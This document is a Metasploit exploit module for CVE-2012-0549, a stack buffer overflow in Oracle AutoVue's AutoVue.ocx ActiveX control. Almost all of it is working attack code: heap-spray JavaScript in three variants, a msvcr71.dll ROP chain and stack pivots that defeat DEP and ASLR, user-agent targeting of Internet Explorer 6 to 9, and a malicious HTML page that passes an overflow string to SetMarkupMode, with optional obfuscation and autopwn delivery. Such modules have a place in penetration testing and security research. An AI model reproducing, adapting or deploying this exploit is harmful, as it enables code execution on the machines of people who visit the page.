Oracle AutoVue ActiveX Control SetMarkupMode Buffer Overflow

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::HttpServer::HTML  
include Msf::Exploit::Remote::Seh  
include Msf::Exploit::Remote::BrowserAutopwn  
  
autopwn_info({  
:ua_name => HttpClients::IE,  
:ua_minver => "6.0",  
:ua_maxver => "9.0",  
:javascript => true,  
:os_name => OperatingSystems::WINDOWS,  
:classid => "{B6FCC215-D303-11D1-BC6C-0000C078797F}",  
:method => "SetMarkupMode",  
:rank => NormalRanking  
})  
  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Oracle AutoVue ActiveX Control SetMarkupMode Buffer Overflow',  
'Description' => %q{  
This module exploits a vulnerability found in the AutoVue.ocx ActiveX control.  
The vulnerability, due to the insecure usage of an strcpy like function in the  
SetMarkupMode method, when handling a specially crafted sMarkup argument, allows  
to trigger a stack based buffer overflow which leads to code execution under the  
context of the user visiting a malicious web page.  
  
The module has been successfully tested against Oracle AutoVue Desktop Version  
20.0.0 (AutoVue.ocx 20.0.0.7330) on IE 6, 7, 8 and 9 (Java 6 needed to DEP and  
ASLR bypass).  
},  
'Author' =>  
[  
'Brian Gorenc', # Vulnerability discovery  
'juan vazquez' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2012-0549' ],  
[ 'BID', '53077' ],  
[ 'OSVDB', '81439' ],  
[ 'URL', 'http://dvlabs.tippingpoint.com/advisory/TPTI-12-05' ],  
[ 'URL', 'http://www.oracle.com/technetwork/topics/security/cpuapr2012-366314.html' ]  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
  
},  
'Payload' =>  
{  
'Space' => 948,  
'DisableNops' => true,  
},  
'DefaultOptions' =>  
{  
'InitialAutoRunScript' => 'migrate -f'  
},  
'Platform' => 'win',  
'Targets' =>  
[  
# AutoVue.ocx 20.0.0.7330  
[ 'Automatic', {} ],  
[  
'IE 6 on Windows XP SP3',  
{  
'SprayBlocks' => 0x185,  
'SprayCounter' => '0x5f2', # 0x0c0c0c08  
'SprayOffset' => '0x600', # 0x0c0c0c24  
'Offset' => 1052,  
'Ret' => 0x0c0c0c0c,  
'Rop' => nil,  
'RandomHeap' => false  
}  
],  
[  
'IE 7 on Windows XP SP3 / Windows Vista SP2',  
{  
'SprayBlocks' => 0x185,  
'SprayCounter' => '0x5f2', # 0x0c0c0c08  
'SprayOffset' => '0x600', # 0x0c0c0c24  
'Offset' => 1052,  
'Ret' => 0x0c0c0c0c,  
'Rop' => nil,  
'RandomHeap' => false  
}  
],  
[  
'IE 8 with Java 6 on Windows XP SP3/7 SP1/Vista SP2',  
{  
'SprayBlocks' => 0x185,  
'SprayCounter' => '0x5f2', # 0x0c0c0c08  
'SprayStackPivot' => '0x5f6', # 0x0c0c0c10  
'SprayOffset' => '0x5fc', # 0x0c0c0c1c  
'Offset' => 1052,  
'Ret' => 0x0c0c0c0c,  
'Rop' => :jre,  
'RandomHeap' => false,  
}  
],  
[  
'IE 9 with Java 6 on Windows 7 SP1',  
{  
'SprayBlocks' => 0x1000,  
'SprayNops' => '0x5f6', # 0x0c0c0bfc  
'SprayCounter' => '0x5fc', # 0x0c0c0c08  
'SprayStackPivot' => '0x600', # 0x0c0c0c10  
'SprayOffset' => '0x606', # 0x0c0c0c1c  
'Offset' => 1052,  
'Ret' => 0x0c0c0c0c,  
'Rop' => :jre,  
'RandomHeap' => true,  
}  
]  
],  
'Privileged' => false,  
'DisclosureDate' => 'Apr 18 2012',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])  
], self.class  
)  
  
end  
  
def get_easy_spray(t, js_code, js_nops, js_counter)  
  
spray = <<-JS  
var heap_obj = new heapLib.ie(0x20000);  
var code = unescape("#{js_code}");  
var nops = unescape("#{js_nops}");  
var counter = unescape("#{js_counter}");  
  
while (nops.length < 0x80000) nops += nops;  
  
var offset = nops.substring(0, #{t['SprayCounter']});  
var offset_2 = nops.substring(0, #{t['SprayOffset']} - offset.length - counter.length);  
var block_used = code.length + offset_2.length + counter.length + offset.length;  
var shellcode = offset + counter + offset_2 + code + nops.substring(0, 0x800 - block_used);  
  
while (shellcode.length < 0x40000) shellcode += shellcode;  
var block = shellcode.substring(0, (0x80000-6)/2);  
  
heap_obj.gc();  
for (var z=1; z < #{t['SprayBlocks']}; z++) {  
heap_obj.alloc(block);  
}  
  
JS  
  
return spray  
  
end  
  
def get_aligned_spray(t, js_code, js_nops, js_counter, js_stack_pivot)  
  
spray = <<-JS  
var heap_obj = new heapLib.ie(0x20000);  
var code = unescape("#{js_code}");  
var nops = unescape("#{js_nops}");  
var counter = unescape("#{js_counter}");  
var stack_pivot = unescape("#{js_stack_pivot}")  
  
while (nops.length < 0x80000) nops += nops;  
  
var offset = nops.substring(0, #{t['SprayCounter']});  
var offset_2 = nops.substring(0, #{t['SprayStackPivot']} - offset.length - counter.length);  
var offset_3 = nops.substring(0, #{t['SprayOffset']} - offset.length - counter.length - offset_2.length - stack_pivot.length);  
var block_used = code.length + offset_3.length + stack_pivot.length + offset_2.length + counter.length + offset.length;  
var shellcode = offset + counter + offset_2 + stack_pivot + offset_3 + code + nops.substring(0, 0x800 - block_used);  
  
while (shellcode.length < 0x40000) shellcode += shellcode;  
var block = shellcode.substring(0, (0x80000-6)/2);  
  
heap_obj.gc();  
for (var z=1; z < #{t['SprayBlocks']}; z++) {  
heap_obj.alloc(block);  
}  
  
JS  
  
return spray  
  
end  
  
# Spray published by corelanc0d3r  
# Exploit writing tutorial part 11 : Heap Spraying Demystified  
# See https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/  
def get_random_spray(t, js_code, js_nops, js_90_nops, js_counter, js_stack_pivot)  
  
spray = <<-JS  
  
function randomblock(blocksize)  
{  
var theblock = "";  
for (var i = 0; i < blocksize; i++)  
{  
theblock += Math.floor(Math.random()*90)+10;  
}  
return theblock;  
}  
  
function tounescape(block)  
{  
var blocklen = block.length;  
var unescapestr = "";  
for (var i = 0; i < blocklen-1; i=i+4)  
{  
unescapestr += "%u" + block.substring(i,i+4);  
}  
return unescapestr;  
}  
  
var heap_obj = new heapLib.ie(0x10000);  
  
var code = unescape("#{js_code}");  
var nops = unescape("#{js_nops}");  
var nops_90 = unescape("#{js_90_nops}");  
var counter = unescape("#{js_counter}");  
var stack_pivot = unescape("#{js_stack_pivot}")  
  
while (nops_90.length < 0x80000) nops_90 += nops_90;  
  
for (var i=0; i < #{t['SprayBlocks']}; i++) {  
var padding = unescape(tounescape(randomblock(0x1000)));  
while (padding.length < 0x1000) padding+= padding;  
  
  
var offset = padding.substring(0, #{t['SprayNops']});  
var offset_2 = padding.substring(0, #{t['SprayCounter']} - offset.length - nops.length);  
var offset_4 = padding.substring(0, #{t['SprayOffset']} - offset.length - nops.length - offset_2.length - counter.length - nops.length - stack_pivot.length);  
var block_used = code.length + offset_4.length + stack_pivot.length + nops.length + counter.length + offset_2.length + nops.length + offset.length;  
var single_sprayblock = offset + nops + offset_2 + counter + nops + stack_pivot + offset_4 + code + padding.substring(0, 0x800 - block_used);  
  
while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;  
sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);  
heap_obj.alloc(sprayblock);  
}  
  
JS  
  
return spray  
end  
  
  
def junk(n=4)  
return rand_text_alpha(n).unpack("V").first  
end  
  
def nop  
return make_nops(4).unpack("V").first  
end  
  
# stackpivot from msvcr71.dll  
def get_stack_pivot_stage_1  
rop = [ 0x7c341ae4 ].pack("V*") # ADD ESP,48 # RETN  
return rop  
end  
  
# stackpivot from msvcr71.dll  
def get_stack_pivot_stage_2  
rop = [  
0x7c3522ca, # ADD EAX,20 # RETN  
0x7c348b05, # XCHG EAX,ESP # RETN  
].pack("V*")  
rop = rop.gsub(/"/, "\\\"")  
return rop  
end  
  
# ROP chain (msvcr71.dll) generated by mona.py - See corelan.be  
def get_rop_chain  
rop = [  
0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN  
0x00001000, # (dwSize)  
0x7c347f98, # RETN (ROP NOP)  
0x7c3415a2, # JMP [EAX]  
0xffffffff,  
0x7c376402, # skip 4 bytes  
0x7c345255, # INC EBX # FPATAN # RETN  
0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN  
0x7c344f87, # POP EDX # RETN  
0x00000040, # flNewProtect  
0x7c34d201, # POP ECX # RETN  
0x7c38b001, # &Writable location  
0x7c347f97, # POP EAX # RETN  
0x7c37a151, # ptr to &VirtualProtect() - 0x0EF  
0x7c378c81, # PUSHAD # ADD AL,0EF # RETN  
0x7c345c30, # ptr to 'push esp # ret '  
].pack("V*")  
  
return rop  
end  
  
def get_target(agent)  
#If the user is already specified by the user, we'll just use that  
return target if target.name != 'Automatic'  
  
if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/  
return targets[1] #IE 6 on Windows XP SP3  
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/  
return targets[2] #IE 7 on Windows XP SP3  
elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/  
return targets[2] #IE 7 on Windows Vista SP2  
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/  
return targets[3] #IE 8 on Windows XP SP3  
elsif agent =~ /NT 6\.[01]/ and agent =~ /MSIE 8/  
return targets[3] #IE 8 on Windows 7 SP1/Vista SP2  
elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 9/  
return targets[4] #IE 9 on Windows 7 SP1  
else  
return nil  
end  
end  
  
def on_request_uri(cli, request)  
  
agent = request.headers['User-Agent']  
print_status("User-agent: #{agent}")  
  
my_target = get_target(agent)  
  
# Avoid the attack if the victim doesn't have a setup we're targeting  
if my_target.nil?  
print_error("Browser not supported: #{agent}")  
send_not_found(cli)  
return  
end  
  
p = payload.encoded  
  
if my_target['Rop'].nil?  
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))  
else  
js_stack_pivot = Rex::Text.to_unescape(get_stack_pivot_stage_1, Rex::Arch.endian(my_target.arch))  
js_code = Rex::Text.to_unescape(get_rop_chain + p, Rex::Arch.endian(my_target.arch))  
end  
  
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))  
js_90_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))  
js_counter = Rex::Text.to_unescape("\x01\x00\x00\x00", Rex::Arch.endian(my_target.arch))  
  
js = ""  
  
if my_target['RandomHeap']  
js = get_random_spray(my_target, js_code, js_nops, js_90_nops, js_counter, js_stack_pivot)  
elsif my_target['Rop']  
js = get_aligned_spray(my_target, js_code, js_nops, js_counter, js_stack_pivot)  
else  
js = get_easy_spray(my_target, js_code, js_nops, js_counter)  
end  
  
js = heaplib(js, {:noobfu => true})  
  
if datastore['OBFUSCATE']  
js = ::Rex::Exploitation::JSObfu.new(js)  
js.obfuscate  
end  
  
if my_target['Rop'].nil?  
sploit = rand_text_alpha(my_target['Offset'])  
else  
sploit = rand_text_alpha(8)  
sploit << get_stack_pivot_stage_2  
# +1 because of the escape character in get_stack_pivot_stage_2  
sploit << rand_text_alpha(my_target['Offset'] - sploit.length + 1)  
end  
sploit << [my_target.ret].pack("V")  
  
html = <<-MYHTML  
<html>  
<head>  
<script>  
#{js}  
</script>  
</head>  
<body>  
<object classid='clsid:B6FCC215-D303-11D1-BC6C-0000C078797F' id='obj' />  
</object>  
<script>  
setTimeout(function(){ obj.SetMarkupMode("#{sploit}"); }, 100);  
</script>  
</body>  
</html>  
MYHTML  
  
html = html.gsub(/^\t\t/, '')  
  
print_status("Sending html")  
send_response(cli, html, {'Content-Type'=>'text/html'})  
end  
end  
`